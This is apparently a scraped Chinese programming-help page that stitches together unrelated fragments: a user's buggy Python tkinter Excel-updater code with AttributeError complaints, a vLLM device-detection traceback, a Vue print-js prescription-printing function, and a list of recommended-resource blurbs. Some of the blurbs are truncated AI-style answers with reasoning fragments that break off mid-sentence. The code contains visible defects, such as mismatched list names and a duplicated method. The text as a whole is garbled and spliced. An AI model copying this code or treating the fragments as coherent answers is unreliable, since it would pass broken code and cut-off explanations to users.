self.old_responsible = self.old_responsible_entry.get().strip() self.new_responsible = self.new_responsible_entry.get().strip() if not all([self.file_path, self.old_responsible, self.new_responsible]): messagebox.showerror("错误", "请填写所有必填字段") return if not os.path.exists(self.file_path): messagebox.showerror("错误", "文件不存在!") return # 使用只读模式加载工作簿以节省内存 wb = load_workbook(self.file_path, read_only=True) total_sheets = len(wb.sheetnames) self.project_updates = [] for i, sheet_name in enumerate(wb.sheetnames): self.update_progress((i+1)/total_sheets*100, f"处理: {sheet_name}") sheet_config = self._get_sheet_config(sheet_name) if not sheet_config['process']: continue sheet = wb[sheet_name] # 分块处理大型工作表 for row_chunk in self._chunked_rows(sheet, chunk_size=100): for cell in row_chunk: if cell.value and self.old_project in str(cell.value): self.project_updates.append({ "sheet": sheet_name, "cell": cell.coordinate, "old_value": cell.value, "new_value": cell.value.replace(self.old_project, self.new_project), "status": "待审核" }) if not self.responsible_updates: messagebox.showinfo("提示", "未找到匹配的担当") return self._display_data(self.responsible_tree, self.responsible_updates) self.update_status(f"找到 {len(self.responsible_updates)} 处担当需要更新") self.update_progress(100, "查找完成") except Exception as e: messagebox.showerror("错误", f"加载失败: {str(e)}") print(traceback.format_exc()) finally: self.running_tasks -= 1 def _display_data(self, treeview, data): """显示数据到表格""" treeview.delete(*treeview.get_children()) for update in data: tags = ("to_update",) if update["status"] == "待更新" else ("no_update",) if update["status"] == "不更新" else () treeview.insert("", "end", values=(update["sheet"], update["cell"], update["old_value"], update["new_value"], update["status"]), tags=tags) treeview.tag_configure("to_update", background="lightyellow") treeview.tag_configure("no_update", background="lightgray") # 自动滚动到顶部 treeview.yview_moveto(0) def _detect_changes(self, target_value, new_value, value_type): """通用变更检测方法""" updates = [] try: wb = load_workbook(self.file_path) total_sheets = len(wb.sheetnames) for i, sheet_name in enumerate(wb.sheetnames): self.update_progress((i+1)/total_sheets*100, f"正在处理工作表: {sheet_name}") sheet_config = self._get_sheet_config(sheet_name) if not sheet_config['process']: continue if value_type == "date" and not sheet_config.get('update_time', True): continue sheet = wb[sheet_name] if value_type == "date": cells = self._find_date_cells(sheet, target_value) else: cells = self._find_cells_with_value(sheet, target_value) for cell in cells: updates.append({ "sheet": sheet_name, "cell": cell.coordinate, "old_value": cell.value, "new_value": new_value, "status": "待审核" }) except Exception as e: print(f"DEBUG - 读取错误: {str(e)}") return updates def update_project_status(self, status): """更新项目变更状态""" self._update_status(self.project_tree, self.project_updates, status) def update_date_status(self, status): """更新时间变更状态""" self._update_status(self.date_tree, self.date_updates, status) def update_responsible_status(self, status): """更新担当变更状态""" self._update_status(self.responsible_tree, self.responsible_updates, status) def _update_status(self, treeview, data, status): """通用状态更新方法""" selected = treeview.selection() if not selected: messagebox.showwarning("警告", "请先选择记录") return for item in selected: index = treeview.index(item) data[index]["status"] = status self._display_data(treeview, data) def apply_project_updates(self): """执行项目编号变更""" self._apply_updates( updates=self.project_updates, success_message="项目编号更新完成!", treeview=self.project_tree ) def apply_date_updates(self): """执行时间变更""" self._apply_updates( updates=self.date_updates, success_message="时间更新完成!", treeview=self.date_tree ) def apply_responsible_updates(self): """执行担当变更""" self._apply_updates( updates=self.responsible_updates, success_message="担当更新完成!", treeview=self.responsible_tree ) def _apply_updates(self, updates, success_message, treeview): """通用更新应用方法""" if not any(u["status"] == "待更新" for u in updates): messagebox.showwarning("警告", "没有标记为'待更新'的记录") return try: self.running_tasks += 1 self.update_progress(0, "正在更新...") wb = load_workbook(self.file_path) total_updates = len([u for u in updates if u["status"] == "待更新"]) processed = 0 for update in [u for u in updates if u["status"] == "待更新"]: sheet = wb[update["sheet"]] sheet[update["cell"]] = update["new_value"] processed += 1 self.update_progress(processed/total_updates*100, f"正在更新 {update['sheet']} {update['cell']}") wb.save(self.file_path) messagebox.showinfo("成功", success_message) # 重新加载数据 if treeview == self.project_tree: self.load_project_changes() elif treeview == self.date_tree: self.load_date_changes() else: self.load_responsible_changes() except Exception as e: messagebox.showerror("错误", f"更新失败: {str(e)}") print(traceback.format_exc()) finally: self.running_tasks -= 1 self.update_progress(100, "更新完成") def export_project_report(self): """导出项目变更报告""" self._export_report(self.project_updates, "项目变更报告") def export_date_report(self): """导出时间变更报告""" self._export_report(self.date_updates, "时间变更报告") def export_responsible_report(self): """导出担当变更报告""" self._export_report(self.responsible_updates, "担当变更报告") def _export_report(self, data, report_name): """通用报告导出方法""" if not data: messagebox.showwarning("警告", f"没有可导出的{report_name}数据") return try: file_path = filedialog.asksaveasfilename( defaultextension=".xlsx", filetypes=[("Excel文件", "*.xlsx")], title=f"保存{report_name}" ) if not file_path: return df = pd.DataFrame([{ "工作表": item["sheet"], "单元格位置": item["cell"], "原内容": item["old_value"], "新内容": item["new_value"], "状态": item["status"] } for item in data]) df.to_excel(file_path, index=False) messagebox.showinfo("成功", f"{report_name}已导出到: {file_path}") except Exception as e: messagebox.showerror("错误", f"导出失败: {str(e)}") def export_doc_check_report(self): """导出文档检查报告""" if not self.doc_checks: messagebox.showwarning("警告", "没有可导出的文档检查数据") return try: file_path = filedialog.asksaveasfilename( defaultextension=".xlsx", filetypes=[("Excel文件", "*.xlsx")], title="保存文档检查报告" ) if not file_path: return df = pd.DataFrame(self.doc_checks) df.to_excel(file_path, index=False) messagebox.showinfo("成功", f"文档检查报告已导出到: {file_path}") except Exception as e: messagebox.showerror("错误", f"导出失败: {str(e)}") def on_closing(self): """关闭窗口时的处理""" if self.running_tasks > 0: if messagebox.askokcancel("警告", "有任务正在运行,确定要退出吗?"): self.executor.shutdown(wait=False) self.root.destroy() else: self.root.destroy() def _get_sheet_config(self, sheet_name): """获取sheet配置""" sheet_lower = sheet_name.lower() for kw in self.special_sheets: if kw.lower() in sheet_lower: config = self.special_sheets[kw].copy() config['is_special'] = True return config return {'process': True, 'update_time': True, 'is_special': False} def _find_cells_with_value(self, sheet, target_value): """查找包含目标值的所有单元格""" found_cells = [] pattern = re.compile(rf'.*{re.escape(str(target_value))}.*', re.IGNORECASE) for row in sheet.iter_rows(): for cell in row: if cell.value and pattern.search(str(cell.value)): found_cells.append(cell) return found_cells def _find_date_cells(self, sheet, target_date=None): """查找所有包含日期的单元格""" date_cells = [] for row in sheet.iter_rows(): for cell in row: if cell.value and self._is_date(cell.value): if target_date: try: cell_date = pd.to_datetime(cell.value).strftime('%Y-%m-%d') if target_date in str(cell_date): date_cells.append(cell) except: if target_date in str(cell.value): date_cells.append(cell) else: date_cells.append(cell) return date_cells def _is_date(self, value): """判断值是否为日期""" try: pd.to_datetime(value) return True except: # 检查是否是字符串形式的日期 if isinstance(value, str): for pattern in self.date_patterns: if re.fullmatch(pattern, value.strip()): return True return False def on_closing(self): """关闭窗口时的处理""" if self.running_tasks > 0: if messagebox.askokcancel("警告", "有任务正在运行,确定要退出吗?"): self.executor.shutdown(wait=False) self.root.destroy() else: self.root.destroy() if __name__ == "__main__": root = tk.Tk() app = EnhancedVersionUpdaterApp(root) root.protocol("WM_DELETE_WINDOW", app.on_closing) root.mainloop() 这是我按照你的要求更改后的代码,但是其中有一些错误,例如AttributeError: 'EnhancedVersionUpdaterApp' object has no attribute 'memory_usage'. Did you mean: 'memory_label'?,请检查类似的问题,并修改完成给我

RuntimeError: Failed to infer device type, please set the environment variable VLLM_LOGGING_LEVEL=DEBUG to turn on verbose logging to help debug the issue. 2025-07-25 13:35:45 INFO 07-24 22:35:45 [__init__.py:248] No platform detected, vLLM is running on UnspecifiedPlatform 2025-07-25 13:35:45 WARNING 07-24 22:35:45 [_custom_ops.py:20] Failed to import from vllm._C with ImportError('\x01: cannot open shared object file: No such file or directory') 2025-07-25 13:37:16 INFO 07-24 22:37:16 [__init__.py:248] No platform detected, vLLM is running on UnspecifiedPlatform 2025-07-25 13:37:16 WARNING 07-24 22:37:16 [_custom_ops.py:20] Failed to import from vllm._C with ImportError('\x01: cannot open shared object file: No such file or directory') 2025-07-25 13:37:19 Traceback (most recent call last): 2025-07-25 13:37:19 File "<frozen runpy>", line 198, in _run_module_as_main 2025-07-25 13:37:19 File "<frozen runpy>", line 88, in _run_code 2025-07-25 13:37:19 File "/usr/local/lib/python3.12/dist-packages/vllm/entrypoints/openai/api_server.py", line 1491, in <module> 2025-07-25 13:37:19 parser = make_arg_parser(parser) 2025-07-25 13:37:19 ^^^^^^^^^^^^^^^^^^^^^^^ 2025-07-25 13:37:19 File "/usr/local/lib/python3.12/dist-packages/vllm/entrypoints/openai/cli_args.py", line 266, in make_arg_parser 2025-07-25 13:37:19 parser = AsyncEngineArgs.add_cli_args(parser) 2025-07-25 13:37:19 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 2025-07-25 13:37:19 File "/usr/local/lib/python3.12/dist-packages/vllm/engine/arg_utils.py", line 1717, in add_cli_args 2025-07-25 13:37:19 parser = EngineArgs.add_cli_args(parser) 2025-07-25 13:37:19 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 2025-07-25 13:37:19 File "/usr/local/lib/python3.12/dist-packages/vllm/engine/arg_utils.py", line 906, in add_cli_args 2025-07-25 13:37:19 vllm_kwargs = get_kwargs(VllmConfig) 2025-07-25 13:37:19 ^^^^^^^^^^^^^^^^^^^^^^ 2025-07-25 13:37:19 File "/usr/local/lib/python3.12/dist-packages/vllm/engine/arg_utils.py", line 285, in get_kwargs 2025-07-25 13:37:19 return copy.deepcopy(_compute_kwargs(cls)) 2025-07-25 13:37:19 ^^^^^^^^^^^^^^^^^^^^ 2025-07-25 13:37:19 File "/usr/local/lib/python3.12/dist-packages/vllm/engine/arg_utils.py", line 189, in _compute_kwargs 2025-07-25 13:37:19 default = field.default_factory() 2025-07-25 13:37:19 ^^^^^^^^^^^^^^^^^^^^^^^ 2025-07-25 13:37:19 File "/usr/local/lib/python3.12/dist-packages/pydantic/_internal/_dataclasses.py", line 123, in __init__ 2025-07-25 13:37:19 s.__pydantic_validator__.validate_python(ArgsKwargs(args, kwargs), self_instance=s) 2025-07-25 13:37:19 File "/usr/local/lib/python3.12/dist-packages/vllm/config.py", line 2413, in __post_init__ 2025-07-25 13:37:19 raise RuntimeError( 2025-07-25 13:37:19 RuntimeError: Failed to infer device type, please set the environment variable VLLM_LOGGING_LEVEL=DEBUG to turn on verbose logging to help debug the issue.

printPrescription(){ if (!this.patientInfoRow) { this.$message.error('未选择数据') return } let filterArr = this.medicalEditTabs.filter((item) => item.content.recipelInfo.status != -1 && item.content.recipelInfo.name !== '挂号费') if(filterArr.length == 0){ this.$message.error('当前患者并无配药信息') return } let arr = [] for (let i = 0; i < filterArr.length; i++) { arr.push('') } filterArr.forEach(async (item, index) => { let params = { recipelInfoId: item.content.recipelInfo.id, type: item.content.recipelInfo.recipelType.value } let str = '' let type = params.type == 'recipelType_0' ? // "westMedicine" : 'chronicDisease' : params.type == 'recipelType_1' ? 'chineseMedicine' : params.type == 'recipelType_2' ? 'infuse' : 'costItem' if (params.recipelInfoId) { str = '&recipelInfoId=' + params.recipelInfoId } let printUrl = this.BASE_API + '/ureport/preview?_u=Newtouch:' + type + '.ureport.xml&_t=0' + str + '&type=0' // 使用axios发送请求获取数据 const response = await axios.get(printUrl) const dataToPrint = response.data // 使用print-js打印数据 printJS({ printable: dataToPrint, type: 'raw-html', style: '' }) }) }, // 配药单打印功能 printDispensing(){ if (!this.patientInfoRow) { this.$message.error('未选择数据') return } let filterArr = this.medicalEditTabs.filter((item) => item.content.recipelInfo.status != -1 && item.content.recipelInfo.name !== '挂号费') if(filterArr.length == 0){ this.$message.error('当前患者并无处方信息') return } // let arr = [] // for (let i = 0; i < filterArr.length; i++) { // arr.push('') // } filterArr.forEach(async (item, index) => { let params = { recipelInfoId: item.content.recipelInfo.id, type: item.content.recipelInfo.recipelType.value } let str = '' // let type = // params.type == 'recipelType_0' // ? // "westMedicine" : // 'chronicDisease' // : params.type == 'recipelType_1' // ? 'chineseMedicine' // : params.type == 'recipelType_2' // ? 'infuse' // : 'costItem' if (params.recipelInfoId) { str = '&recipelInfoId=' + params.recipelInfoId } let printUrl = this.BASE_API + '/ureport/preview?_u=Newtouch:' + 'prescription' + '.ureport.xml&_t=0' + str + '&type=0' // 使用axios发送请求获取数据 const response = await axios.get(printUrl) const dataToPrint = response.data // 使用print-js打印数据 printJS({ printable: dataToPrint, type: 'raw-html', style: '' }) }) }这是一段用来打印处方单的打印方法使用的print-js,目前遇到,处方单有9个,但是在谷歌浏览器上只是打印出两个,其他的都有通过后端返回的json,但是没有执行打印

最新推荐

recommend-type

二维码工具(1).zip

二维码工具(1).zip
recommend-type

基于ZXing修改的二维码扫描器.zip

基于ZXing修改的二维码扫描器.zip
recommend-type

在网页上生成二维码.zip

在网页上生成二维码.zip
recommend-type

Hyperledger Fabric v2与Accord Project Cicero智能合约开发指南

标题和描述中提到的“hlf-cicero-contract:Accord Project Cicero与Hyperledger Fabric v2签约”以及“半西约合同”暗示了与智能合约和区块链技术相关的知识点。下面详细说明这些知识点: ### 智能合约与区块链技术 智能合约是一套运行在区块链上的程序,当合约条款被触发时,合约会自动执行相应的操作。这种自动执行的特点使得智能合约特别适合于执行多方之间的可信交易,它能减少或消除中介服务的需要,从而降低交易成本并提高效率。 区块链技术是一种分布式账本技术,通过加密算法和共识机制保证了交易数据的不可篡改性和透明性。区块链上的每一笔交易都会被网络中的多个节点验证并记录,确保了交易记录的安全性。 ### Hyperledger Fabric v2 Hyperledger Fabric 是由Linux基金会托管的一个开源项目,它是企业级区块链框架,旨在为商业应用提供安全、模块化、可扩展的区块链平台。Hyperledger Fabric v2.2是该框架的一个版本。 Hyperledger Fabric v2支持链码(Chaincode)概念,链码是部署在Hyperledger Fabric网络上的应用程序,它可以被用来实现各种智能合约逻辑。链码在运行时与网络中的背书节点和排序服务交互,负责验证、执行交易以及维护账本状态。 ### Accord Project Cicero Accord Project Cicero 是一个开源的智能合同模板和执行引擎,它允许开发者使用自然语言来定义合同条款,并将这些合同转换为可以在区块链上执行的智能合约。CiceroMark是基于Markdown格式的一种扩展,它允许在文档中嵌入智能合约逻辑。 通过Accord Project Cicero,可以创建出易于理解、可执行的智能合约。这些合同可以与Hyperledger Fabric集成,利用其提供的安全、透明的区块链网络环境,从而使得合同条款的执行更加可靠。 ### 智能合约的安装与部署 描述中提到了“安装”和“启动”的步骤,这意味着为了使用HLF v2.2和Accord Project Cicero,需要先进行一系列的配置和安装工作。这通常包括设置环境变量(例如HLF_INSTALL_DIR)、安装区块链网络(Test-Net)以及安装其他必需的软件工具(如jq)。 jq是一个轻量级且灵活的命令行JSON处理器,常用于处理JSON数据。在区块链项目中,jq可以帮助开发者处理链码或智能合约的数据,特别是在与网络节点交互时。 ### JavaScript 标签 标签“JavaScript”表明本项目或相关文档中会涉及到JavaScript编程语言。Hyperledger Fabric v2支持多种智能合约语言,其中JavaScript是一个广泛使用的选项。JavaScript在编写链码时提供了灵活的语法和强大的库支持,是进行区块链开发的一个流行选择。 ### 文件结构 文件名称列表“hlf-cicero-contract-master”暗示这是一个包含所有相关文件和资源的项目源代码目录。这个名称通常表明开发者可以从该目录开始探索、安装和配置项目的所有组件。 ### 综合知识点 1. 智能合约与区块链技术可以自动化执行多方面可信交易,降低交易成本并提高效率。 2. Hyperledger Fabric v2为企业提供一个安全、模块化、可扩展的区块链平台。 3. Accord Project Cicero结合Markdown格式的CiceroMark,将自然语言定义的合同条款转换为可执行的智能合约。 4. 智能合约的安装和部署涉及到一系列配置步骤,包括设置环境变量、安装必要的软件工具等。 5. JavaScript是编写智能合约的流行语言之一,为区块链开发提供灵活性和强大的库支持。 6. 项目文件结构表明从一个主目录可以探索和配置所有项目相关文件和资源。 以上是根据文件标题、描述、标签以及文件名称列表所提取的相关知识点。这些知识点对于理解Hyperledger Fabric v2和Accord Project Cicero在智能合约中的应用尤为重要。
recommend-type

深度神经网络优化技巧全解析

# 深度神经网络优化技巧全解析 ## 1 超越 Sigmoid 函数 在神经网络中,Sigmoid 函数曾被广泛使用,但它存在一些问题,如梯度消失。研究人员一直在寻找更好的激活函数,且不同的激活函数在不同场景下表现各异。 ### 1.1 ReLU 函数登场 如今,修正线性单元(ReLU)成为了 Sigmoid 的常用替代函数。与 Sigmoid 相比,ReLU 非常简单,以下是其 Python 实现: ```python def relu(z): if z <= 0: return 0 else: return z ``` ReLU 由两段直
recommend-type

什么是噪声功率密度

<think> 嗯,用户这次问的是噪声功率密度的定义,结合之前的系统指令和站内引用,需要给出清晰准确的中文解释。用户可能是电子工程或通信专业的学生,正在学习噪声相关的理论基础,也可能是工程师需要实际应用概念。从引用来[^1]看,用户对相位噪声的定义有基础认知,但需要系统梳理核心概念。 噪声功率密度最本质的定义应该是单位带宽内的噪声功率。引用[^2]提到电阻热噪声的例子很典型,50Ω电阻在300K环境下功率谱密度是定值(0.9nV/√Hz)²,这说明: 1. 它描述的是噪声功率随频率分布的密度 2. 与带宽强相关(带宽加倍则总功率加倍) 3. 单位通常用W/Hz或V²/Hz 维纳-辛钦定理(
recommend-type

Libshare: Salesforce的高效可重用模块集合

Salesforce是一个云基础的CRM平台,它允许用户构建定制应用程序来满足特定的业务需求。Apex是Salesforce平台上的一个强类型编程语言,用于开发复杂的业务逻辑,通过触发器、类和组件等实现。这些组件使得开发者可以更高效地构建应用程序和扩展Salesforce的功能。 在提到的"libshare:经过测试的Salesforce可重用模块"文件中,首先介绍了一个名为Libshare的工具包。这个工具包包含了一系列已经过测试的可重用模块,旨在简化和加速Salesforce应用程序的开发。 Libshare的各个组成部分的知识点如下: 1. 设置模块:在Salesforce应用程序中,应用程序设置的管理是必不可少的一部分。设置模块提供了一种简便的方式存储应用程序的设置,并提供了一个易用的API来与之交互。这样,开发者可以轻松地为不同的环境配置相同的设置,并且可以快速地访问和修改这些配置。 2. Fluent断言模块:断言是单元测试中的关键组成部分,它们用于验证代码在特定条件下是否表现预期。Fluent断言模块受到Java世界中Assertj的启发,提供了一种更流畅的方式来编写断言。通过这种断言方式,可以编写更易于阅读和维护的测试代码,提高开发效率和测试质量。 3. 秒表模块:在性能调优和效率测试中,记录方法的执行时间是常见的需求。秒表模块为开发者提供了一种方便的方式来记录总时间,并跟踪每种方法所花费的时间。这使得开发者能够识别瓶颈并优化代码性能。 4. JsonMapper模块:随着Web API的广泛应用,JSON数据格式在应用程序开发中扮演了重要角色。JsonMapper模块为开发者提供了一个更高级别的抽象,用于读取和创建JSON内容。这能够大幅简化与JSON数据交互的代码,并提高开发效率。 5. utils模块:在软件开发过程中,经常会遇到需要重复实现一些功能的情况,这些功能可能是通用的,例如日期处理、字符串操作等。utils模块提供了一系列已经编写好的实用工具函数,可以用于节省时间,避免重复劳动,提高开发效率。 6. 记录器模块:记录器通常用于记录应用程序的运行日志,以便于问题诊断和性能监控。系统提供的System.debug功能虽然强大,但在大型应用中,统一的记录器包装器可以使得日志管理更加高效。记录器模块支持记录器名称,并且可以对日志进行适当的封装。 7. App Logger模块:App Logger模块扩展了记录器模块的功能,它允许开发者将日志语句保存到一个精心设计的App Log对象中。此外,App Logger模块支持存储长达56k字符的日志内容,这对于复杂应用的监控和调试非常有用。 8. 应用程序任务模块:在处理异步作业时,例如批量数据处理或定时任务,需要有一个框架来管理和跟踪这些任务。应用程序任务模块提供了一个框架,用于处理可排队的作业,并能够跟踪这些任务的执行情况。 通过Libshare提供的这些模块,Salesforce的开发者能够减少开发工作量,加快开发速度,并提高代码质量。这些模块能够帮助开发者避免重复的“造轮子”工作,专注于核心业务逻辑的实现。同时,由于Libshare作为托管程序包发布,开发者无需担心代码的维护和管理,只需将其添加到自己的Salesforce组织中即可使用。 Libshare的发布也强调了可重用性的重要性,这是软件工程领域中长期提倡的一个原则。通过使用可重用的组件,开发者能够遵循DRY(Don't Repeat Yourself)原则,从而减少代码的冗余,提高生产效率,同时降低因重复编写相同代码而导致错误的风险。 总之,Libshare是一个有价值的资源,对于那些希望在Salesforce平台上快速构建高效、可靠应用程序的开发者来说,这些预置的、经过测试的模块无疑是一个强大的助手。
recommend-type

机器学习技术要点与应用解析

# 机器学习技术要点与应用解析 ## 1. 机器学习基础概念 ### 1.1 数据类型与表示 在编程中,数据类型起着关键作用。Python 具有动态类型特性,允许变量在运行时改变类型。常见的数据类型转换函数包括 `bool()`、`int()`、`str()` 等。例如,`bool()` 函数可将值转换为布尔类型,`int()` 用于将值转换为整数类型。数据类型还包括列表(`lists`)、字典(`dictionaries`)、元组(`tuples`)等集合类型,其中列表使用方括号 `[]` 表示,字典使用花括号 `{}` 表示,元组使用圆括号 `()` 表示。 ### 1.2 变量与命名
recommend-type

点击歌曲没反应

<think> 我们之前已经讨论了如何将音频文件显示在QListView中,并希望实现点击播放。现在遇到的问题是点击列表项没有反应。 原因分析: 1. 我们没有将点击信号连接到播放槽函数。 2. 播放列表(QMediaPlaylist)可能没有正确添加媒体。 3. 媒体路径可能不正确。 解决方案: 按照之前的思路,我们需要做以下几步: 步骤1:确保已经创建了QMediaPlayer和QMediaPlaylist对象,并且播放器设置了播放列表。 步骤2:将QListView的点击信号(clicked)连接到自定义的槽函数,在该槽函数中设置播放列表的当前索引并播放。 步骤3:
recommend-type

SM-CNN-Torch: Torch实现短文本对排名的CNN模型

标题中提到的“SM-CNN-Torch”是一个深度学习框架Torch的实现版本,它基于Severyn和Moschitti在2015年SIGIR会议上发表的一篇论文所描述的卷积神经网络(CNN)模型。这篇论文的内容主要关注的是如何利用CNN对短文本对进行有效的排名,这一点对于问题回答(question-answering, QA)系统来说至关重要。实施该CNN模型的目标是为了更好地处理问答系统中的文本对比较问题,例如,在搜索引擎中确定哪些文档与用户的查询更加相关。 在描述中提到了如何使用该仓库中的代码。首先,用户需要安装Torch库,这是实现和运行SM-CNN-Torch模型的前提条件。接着,用户需要使用提供的脚本(fetch_and_preprocess.sh)下载并预处理GloVe(Global Vectors for Word Representation)字嵌入数据。这一数据集是预先训练好的词向量,能够将单词转换为连续的向量表示,这在深度学习模型中是处理文本的基本步骤。 在模型准备工作中,还需要注意的是Python版本,因为模型运行依赖于Python环境,建议的版本为2.7或更高版本。此外,描述中还提到了并行处理的线程数设置,这表明模型在运行过程中可能会涉及到并行计算,以加速计算过程。通过设置环境变量OMP_NUM_THREADS,可以指定并行计算时的线程数。 文件名称列表中的“SM-CNN-Torch-master”表示这是该仓库的主目录,包含了所有实现Severyn和Moschitti CNN模型的相关文件。 该存储库还包含了一些附加信息,例如,原始Torch实现已经被PyTorch版本所取代。PyTorch是Torch的一个分支,它提供了更多的功能和更易于使用的接口,对研究人员和开发者来说更加友好。此外,该仓库目前仅用于存档目的,这意味着原始的Torch代码不再被积极维护,而是作为一种历史记录保留下来。 标签“deep-learning”表明该项目是一个深度学习项目,所使用的模型是深度神经网络,特别是卷积神经网络。标签“question-answering”则直接指向了问题回答系统,这是深度学习的一个重要应用领域。标签“convolutional-neural-networks”指明了所使用的网络类型是卷积神经网络,它在图像处理和自然语言处理中都有广泛应用。而“Lua”标签则是因为Torch是用Lua语言编写的,尽管它通常与Python一起使用,但也有一个使用Lua的版本。 总的来说,SM-CNN-Torch是一个专门针对短文本对排名的深度学习模型的实现,它允许研究人员和开发者利用已经发表的研究成果来搭建和测试自己的模型,同时为了解其背后原理和实现细节提供了具体的代码和数据处理流程。